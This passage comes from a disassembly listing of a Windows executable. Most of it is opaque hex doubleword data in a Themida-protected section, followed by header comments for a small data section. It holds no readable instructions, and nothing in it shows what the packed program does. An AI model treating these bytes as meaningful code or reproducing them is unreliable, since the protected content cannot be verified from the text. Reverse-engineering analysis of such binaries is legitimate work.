0FE951h, 0F90D0000h, 0B42C517Dh, 9453EA9Dh dd 0B5DF6F66h, 0DE9593Dh, 55000000h, 7F594DDBh, 9F881F92h dd 806A31BFh, 9E8h, 0F747CE00h, 731A4D82h, 8166E130h, 58DCFEC0h dd 9E9h, 0FCAA9D00h, 0E5DEEB37h, 0BB66B6B8h, 830F86B4h dd 15h, 10E9h, 50B09A00h, 345F8673h, 1B93F877h, 0D4565545h dd 0D38DBAF2h, 0B70F6F28h, 0C88166D0h, 0FE90BA0h, 50000000h dd 9B27B65Dh, 693FE52Fh, 0F4435427h, 8F0F053Dh, 5, 33CE8166h dd 0ABF6631h, 8850F42h, 0F000000h, 282h, 0E8DE8A00h, 11h dd 0FC907BDDh, 0C3BD48D5h, 96B0301Ch, 0FCC79F60h, 2850F22h dd 60000000h, 810F5B61h, 10h, 0BE9h, 6F6B6C00h, 79E519CAh dd 0E01A88B4h, 13E9h, 218AAC00h, 0F9981A50h, 9314D0D2h dd 15A7F9B7h, 66F5D617h, 5F506060h, 0F61C68Bh, 288h, 61616000h dd 0EE8h, 19DBC100h, 6AE2D934h, 71941453h, 5A9E70B9h, 7DE2C281h dd 816603A8h, 0E9A165D0h, 8, 14A29061h, 6FA97C25h, 1CC2CB81h dd 0E8574A02h, 13h, 5B9030BCh, 9156D889h, 550F9F58h, 18313D48h dd 66722024h, 595FDF8Bh, 64E18166h, 58A0F8Fh, 0B9000000h dd 6B8C51D8h, 0BE960h, 7E6E0000h, 61BA9128h, 24C83D49h dd 6E910h, 0CF440000h, 0E5523A76h, 956FBB61h, 0BE660765h dd 0D38BD6C9h, 0E9D0B70Fh, 0Dh, 856AA4C1h, 0C4C50617h dd 0F4F167BDh, 8E93Bh, 0F6AD0000h, 1BF5DD1Eh, 0D0809D97h dd 28C0F2Ah, 0B6000000h, 8E98Eh, 0A7E40000h, 1AB31D96h dd 14E8D519h, 6A000000h, 12D8158Eh, 993C6663h, 4C271101h dd 7A0FBEA6h, 8B1D2718h, 3B958F7h, 6650F364h, 0DA8ACB8Bh dd 0EBBB76B4h, 6638A03Fh, 669308BEh, 816A0FBEh, 0C9944ED9h dd 0D5E1814Fh, 667D63E7h, 0F60B8BFh, 8166F1BFh, 0F8424CE3h dd 0F9B70F60h, 6E9h, 3BB11F00h, 61AAB1ACh, 28A0Fh, 85B40000h dd 0A9573ABEh, 58DE813Bh, 0BF36C2B9h, 4F5B47B5h, 0FF9B70Fh dd 58Bh, 0F7816600h, 0B866530Dh, 0D98B70EBh, 6E85CB5h dd 73000000h, 4D5212E1h, 0D981606Ah, 6080A7C5h, 5A61D18Bh dd 0B8B883B5h, 0E96294D1h, 0Ah, 3679F764h, 6608E914h, 0EE92E1Bh dd 97000000h, 9A618DCBh, 0CE145DCEh, 0EBA633F7h, 0F98B66BFh dd 0DE9h, 0D21F5C00h, 81BEE0C6h, 0E743F1Ah, 12E97C49h dd 0B000000h, 0CBDF4545h, 5154CDD5h, 637899A5h, 97B4FE04h dd 0DE8566Ch, 65000000h, 0F821921h, 125F741Eh, 8032E3F0h dd 8F0Fh, 5A5E0000h, 0FE9h, 8099DD00h, 77D7F634h, 0DD400945h dd 8671AB77h, 2830F60h, 8B000000h, 4A95B8C8h, 81614E0Ah dd 0F9B60EF2h, 1800F32h, 0F9000000h, 8B60F7B1h, 13B866F1h dd 3BBE6124h, 0E97A4700h, 6, 3838A95Fh, 8E0F40A1h, 1, 9DA80FCh dd 650DE281h, 12E911CCh, 35000000h, 81403D91h, 853D7404h dd 5A21B460h, 0CCC3EDF6h, 17810F2Ch, 0E9000000h, 12h, 46E8E306h dd 0B779262Fh, 15E72A8Fh, 104F0CD7h, 0BE6646B1h, 0CE94A75h dd 0DE000000h, 913D68F9h, 96447F5h, 0F5083381h, 8BA2F080h dd 0FD78BCBh, 0B8Ch, 58D0F00h, 66000000h, 7D8FE681h, 2F53BA66h dd 0D87CBA66h, 0DE8h, 3080B500h, 0C6AD3314h, 0D51B4309h dd 8166F01Dh, 5FA685E2h, 44F38160h, 515C6A9Bh, 5E9h, 6EFE5E00h dd 615E2ED6h, 48A0Fh, 8B560000h, 0F5605FCEh, 6D91B3BFh dd 0CE9616Bh, 0E5000000h, 39A9447h, 0ED239685h, 8B3C200Eh dd 0DE8B66F9h, 14E9h, 5556B400h, 7D8BDE19h, 5F9F683Bh dd 55DA7197h, 0CD665275h, 0E68166E7h, 0DE9DCBDh, 0CB000000h dd 9C9654CCh, 0D554A104h, 2647C710h, 1BCE8166h, 0FE9CDh dd 62100000h, 0CC75476Ch, 0EC54725Eh, 0BCF7B1A3h, 0EA81F56Bh dd 7160D7BCh, 0FF0BF0Fh, 388h, 8BD48000h, 28B0F60h, 8B000000h dd 2840FF7h, 0B2000000h, 8B666143h, 0FE9F5D0h, 0DE000000h dd 908B1336h, 0F54234ACh, 1D48352Ah, 0B866E9C5h, 0E9FC9992h dd 9, 6EA445C8h, 0D56F3C9Ch, 810FF9h, 0F5000000h, 0DE9h dd 740FD800h, 47C9B8DEh, 627B5788h, 89B91035h, 0F78178Eh dd 0B966F1B7h, 8A0F22E5h, 3, 0F5FFC57h, 38Eh, 0C2B70F00h dd 1DBA6660h, 76DA805Fh, 0B70FF561h, 14E9DAh, 772A0000h dd 0F713229Eh, 0D62C0B5Eh, 8C555B6Ch, 3124C717h, 8A0F33C1h dd 3, 0E9CE8B66h, 0Fh, 0BFF7FA2Fh, 91CD4019h, 28B5B065h dd 0E81AC02Eh, 13h, 0C255A912h, 571CF8DAh, 74B007Fh, 2D21B105h dd 0FDAF46Ah, 665AFABFh, 8E9F78Bh, 35000000h, 0AFF2A37h dd 0F6C1243h, 1B8Fh, 13E85000h, 42000000h, 16779207h, 59D852DFh dd 0C874119Ch, 39DE5775h, 595B01A6h, 6E9h, 0E8F74D00h dd 0F4D958Ah, 582h, 0E7816600h, 8166BBABh, 0E80110DEh dd 6, 72F6E92Ah, 5FBB54BCh, 5E5820E9h, 14E9h, 4A643200h dd 0FC3D5552h, 3B5ADF0h dd 1909CC8Eh, 6B043E5Ah, 0D2B70FA7h, 6665C280h, 1D98DF81h dd 0F50BBB66h, 6F8DBB66h, 0CB816660h, 0BA666D9Ah, 80619357h dd 0B7F96EC7h, 5830F2Ah, 0B9000000h, 126CE823h, 0FE8h dd 9D3BF000h, 3FB9B657h, 0EDFA21Dh, 9563D742h, 2771C781h dd 575A75ACh, 6EDF805Fh, 0FDBB70Fh, 0DC8AC6B7h, 0F7C18166h dd 0B1EB812Ah, 0F8187E04h, 5609C281h, 0CB8B6EE5h, 0AFA939BAh dd 38A0F05h, 0F000000h, 0B866C8B7h, 66533229h, 4563EB81h dd 0D38B665Bh, 747167BFh, 0A00DB87Dh, 9E936D7h, 44000000h dd 1A92D0C0h, 0B3279E62h, 0FCFBF0Fh, 0C78BF7B7h, 14E860h dd 1BF80000h, 8AD7B348h, 99F704FAh, 500B427Ah, 8FC8DEC4h dd 870F2F15h, 0 dd 0B70F615Ah, 61E4BED8h, 8F0F680Eh, 2, 0A0BAD18Ah, 0F496FE8h dd 284h, 0E9FB8B00h, 0Ch, 2E645665h, 25B92CC4h, 36A8FB0Fh dd 0BE9F8h, 507C0000h, 58EA802Fh, 4CA473CEh, 0DE8B660Dh dd 0F77BBA66h, 86A6D781h, 850F7544h, 0 dd 10E8h, 4FC93000h, 94F02D77h, 2EF86C4Dh, 46780610h, 14E9BFh dd 67200000h, 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh, 0BF0BBF59h dd 0B65A26CDh, 0DBCD80EDh, 8166C78Ah, 0E92BC9D7h, 13h dd 80CA04EFh, 95D3DA3Fh, 0D135CD9Ch, 7B0625C6h, 0B7855963h dd 0DE974h, 2D220000h, 82CF10ADh, 659382B5h, 8177FC6Ah dd 0D66948CFh, 0D98B600Bh, 79B3E981h, 8A6109A7h, 0E96FB0F4h dd 0Eh, 797154ADh, 93B2A6D8h, 2654DC95h, 8B661040h, 0F6BABFC3h dd 0F607384h, 68Fh, 8F0F00h, 0F000000h, 680h, 830F00h dd 61000000h, 66D3BF0Fh, 7C40C881h, 0BE9h, 0B098BB00h dd 85249BCEh, 0D1EC2261h, 0DE952h, 0F5710000h, 0C3191027h dd 0FD4A9158h, 59862EF6h, 5E23B966h, 830Fh, 7E90000h, 0C3000000h dd 737A608Bh, 8B668490h, 0E9F560D8h, 0Fh, 3A15C0EFh, 0F666CD7Fh dd 83468421h, 61F04046h, 0AA4BB866h, 0E95778B2h, 14h, 8C8EC367h dd 41E4C5E6h, 0A992995Fh, 9C5013D5h, 644A4E7Eh, 0B8BE665Fh dd 0FDBE6625h, 6E26BA7Ah, 0B966244Ch, 0E080505Dh, 8B66600Dh dd 0C08166F0h, 6661F384h, 8511CB81h, 0D8A0Fh, 8E90000h dd 9C000000h, 4529B533h, 0FC70A4Bh, 0EF80D2B7h, 0FA8B6659h dd 2850F57h, 60000000h, 66515A61h, 60BCE181h, 66C78B5Eh dd 0E8205ABAh, 12h, 5CD9A641h, 5D21410Eh, 0D04A32DDh, 0D85C433Ch dd 816667B3h, 58107CEFh, 0F6C18166h, 0EE8A1h, 0C9B00000h dd 7F4525CFh, 4153AD2Eh, 0CF7AC42Ch, 8B5AE58Ah, 6E9C1h dd 0F8D0000h, 3B7FF8D3h, 4359BB66h, 50FB8B66h, 13E9h, 7D4FAF00h dd 46FF1657h, 0E1D3304h, 68DCE990h, 15749C26h, 5890F5Ah dd 0BE000000h, 3D8D8A55h, 0EE9F78Ah, 0BE000000h, 54CA00F8h dd 0D7025FA4h, 7CFEFC23h, 0D4D4BAD8h, 0D3BE6171h, 5251DCE2h dd 12E9h, 1AF64100h, 14C9170Eh, 2C6D41Ah, 74F88278h, 58F8F081h dd 0AE8h, 2E869000h, 0A448696h, 5955199Ah, 0F8BB060h, 28Ch dd 61616000h, 0D3BF0FF9h, 6E8h, 17038C00h, 66AF1964h, 60B6E081h dd 5F1815Bh, 81650231h, 1FB71EFh, 6E931h, 9010000h, 5075C324h dd 14E9h, 0F0BD4F00h, 0F3EE6784h, 0DEB0889Ah, 7DD7CC9Ch dd 0FBECEC6Fh, 0D6816097h, 6B7BA0D7h, 9E961h, 3F8E0000h dd 46FABCD8h, 50FBC1A9h, 0F605BF9h, 1184h, 0BE800h, 12590000h dd 0DFE6B63Ah, 378D19A2h, 6E85AF2h, 24000000h, 0F53EAD5Bh dd 5BC38B3Eh, 53FE8B61h, 605FBDB4h, 0FC88B66h, 6661C0B7h dd 0E8AD03BFh, 8, 4526539Ch, 0BDEEE972h, 11E95FF9h, 3D000000h dd 1EEEB8EDh, 690F8385h, 618DCB97h, 145DCE9Ah, 13E9h, 12615500h dd 0B1B73BD2h, 77BC0343h, 84F78910h, 69006D4Ch, 5E1BD281h dd 8B663371h, 4EBF52FBh, 583FA794h, 98C0Fh, 8C0F0000h dd 3, 0B8FFC480h, 0D53F6D7h, 0FE9h, 502D5700h, 0E46CD956h dd 7C5C87CEh, 958040B6h, 20C88166h, 0C6BF0F69h, 0AE860h dd 0F9720000h, 6D29ED54h, 4AA5783Bh, 5B9AD780h, 0D1BF0F60h dd 61616160h, 3850FFCh, 66000000h, 60F8F98Bh, 703EBF66h dd 61CB8B66h, 0BDCB8166h, 0F53603Ah, 0B85BF8BFh, 7ECB1D5Ch dd 12E961h, 39000000h, 0C861EBE0h, 0F18C4FD8h, 0D4F58C13h dd 5EA12E2Bh, 8166DE8Ah, 0FE02AD9h, 8166CFBFh, 0FF4DADBh dd 0D081C6BFh, 78C936Ch, 0E9FA8BF9h, 0Dh, 6FEE2B14h, 0E9653017h dd 192DD69Fh, 12E986h, 0E20D0000h, 0BC2AA296h, 436640ACh dd 6E66B54Eh, 0BA19A9CEh, 0CEE28152h, 592071A1h, 60CAB70Fh dd 0FC7D080h, 489h, 54B96600h, 0BDB56119h, 20840Fh, 880F0000h dd 1Ah, 14E8h, 0CC916200h, 62FAA03Ah, 0DB7313BEh, 5BD74A33h dd 66F1A996h, 870F59E2h, 8, 2890Fh, 0FA8A0000h, 84F18166h dd 0D2A1B9D0h, 0A7BA5B0Eh, 0E87664C3h, 11h, 0E372C755h dd 0B9CAB34h, 510C011Ah, 3FF6CCADh, 15D780B0h, 48E0F58h dd 51000000h, 6058C3B5h, 0BE8h, 97E74C00h, 0C8CA3C89h dd 8E179D7Bh, 0A5EA8166h, 0BE6659A6h, 0F96166C1h, 12E860h dd 0DE930000h, 52650B1Dh, 0B2C1CEB6h, 0EC4FB834h, 0A98C07CCh dd 0EE8h, 2D35900h, 3D97BBC3h, 8A7CB036h, 5FBAA491h, 1850F58h dd 0F8000000h, 2820F61h, 56000000h, 66F78B59h, 60FBAEB9h dd 0EE9h, 0B7BA1700h, 8A2C1F16h, 6EAC22A1h, 535287B4h dd 6E9h, 8F01EF00h, 5A76E5D4h, 58E0F61h, 66000000h, 0E1FDD081h dd 0F372D1BEh, 7E874h, 0D8C50000h, 611DCCA2h, 10E9CAh dd 5CF60000h, 9939BBDDh, 3B06E5E4h, 0FE770A5Bh, 605ADA45h dd 8E8h, 389AC300h, 19350513h, 8B0FFEh, 58000000h, 0DE860h dd 0DA80000h, 883B5D1Fh, 41B2DCCBh, 5A9B441Dh, 13E8h, 65C61100h dd 2E650F2Fh, 0E1CD10BBh, 0BF098AA4h, 79D7F8FBh, 0B961615Eh dd 1FCC95B6h, 2870Fh, 0E6B00000h, 38E0Fh, 0B70F0000h, 7E9D1h dd 0A1980000h, 0B9150920h, 7E91Ch, 85120000h, 0A96E5B0Fh dd 1F39BA79h, 99BB24A4h, 8B70D09Fh, 0FCFB8BF8h, 6E8h, 2B404700h dd 81285F4Ah, 0FA95E5D9h, 0DB815F4Eh, 57A61B89h, 14E8h dd 0ED134000h, 0D804353Eh, 0DC0DBF4Bh, 0C35560ACh, 0E4FB4B34h dd 800F2Fh, 5B000000h, 81AFF180h, 0BBED8BD8h, 5890F7Ah dd 66000000h, 4708F181h, 0FF18B66h, 382h, 0FABF0F00h, 65D38166h dd 860FF5F3h, 0 dd 840463B8h, 0FBA663Dh, 128A0F27h, 0E9000000h, 0Dh, 19EFF9AFh dd 5F2C6250h, 87073DAh, 820F60D7h, 1, 0EB8166F9h, 0E9610369h dd 0Ah, 0E276E705h, 0DCA3E9F1h, 0FFCDCEAh, 6653CAB7h, 5941F8B8h dd 860FDF8Bh, 3, 0FF8BF0Fh, 686h, 8E0F00h, 0E9000000h dd 14h, 0C59948D1h, 2B5778ADh, 42A032C3h, 0DD6FD429h, 3727525Ch dd 0FDAB70Fh, 280h, 0E9CA8B00h, 0Bh, 0C805ACEFh, 7FB9769Ch dd 0FADA432h, 0CA81FABFh, 75252623h, 8C0F2BB1h, 3, 0F4BC680h dd 81h, 86DB8100h, 662D958Bh, 57F8C3B9h, 0DE960h, 5EB10000h dd 0B2A8B1Dh, 0D4F147F8h, 0B3BA1877h, 0F5B6149h, 0B70FCABFh dd 0DE8160CBh, 42635B52h, 6860Fh, 0C6810000h, 1DE30EB3h dd 0D6E98061h, 0CF8B5B53h, 79DF8157h, 586D11A0h, 6E95953h dd 77000000h, 0FE9983CFh, 9E9F7h, 7E530000h, 524C933Bh dd 0E8AEBEB7h, 8, 483E3613h, 6E6199DCh, 0EE8h, 6C1A3C00h dd 80A221Fh, 4817B7F1h, 0B741C16Fh, 0F95F5BDDh, 5860Fh dd 42BA0000h, 0E87D634Eh, 5, 0C480EC5h, 59D78BCEh, 0A976B9FDh dd 11h dup(0A976B9FEh), 8F76B9FEh, 7Dh dup(8E2B47E6h) dd 6D21B3BAh, 142h dup(6D21B3BBh), 8E215BBBh, 166h dup(8E215BE0h) dd 0D1805A08h, 52Fh dup(0D1805A09h), 40Fh dup(7F20F090h) dd 0CCCCCC90h, 786h dup(0CCCCCCCCh), 10Fh dup(0) Themida_ ends ; Section 5. (virtual address 00171000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00171000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 571000h align 2000h _idata2 ends end start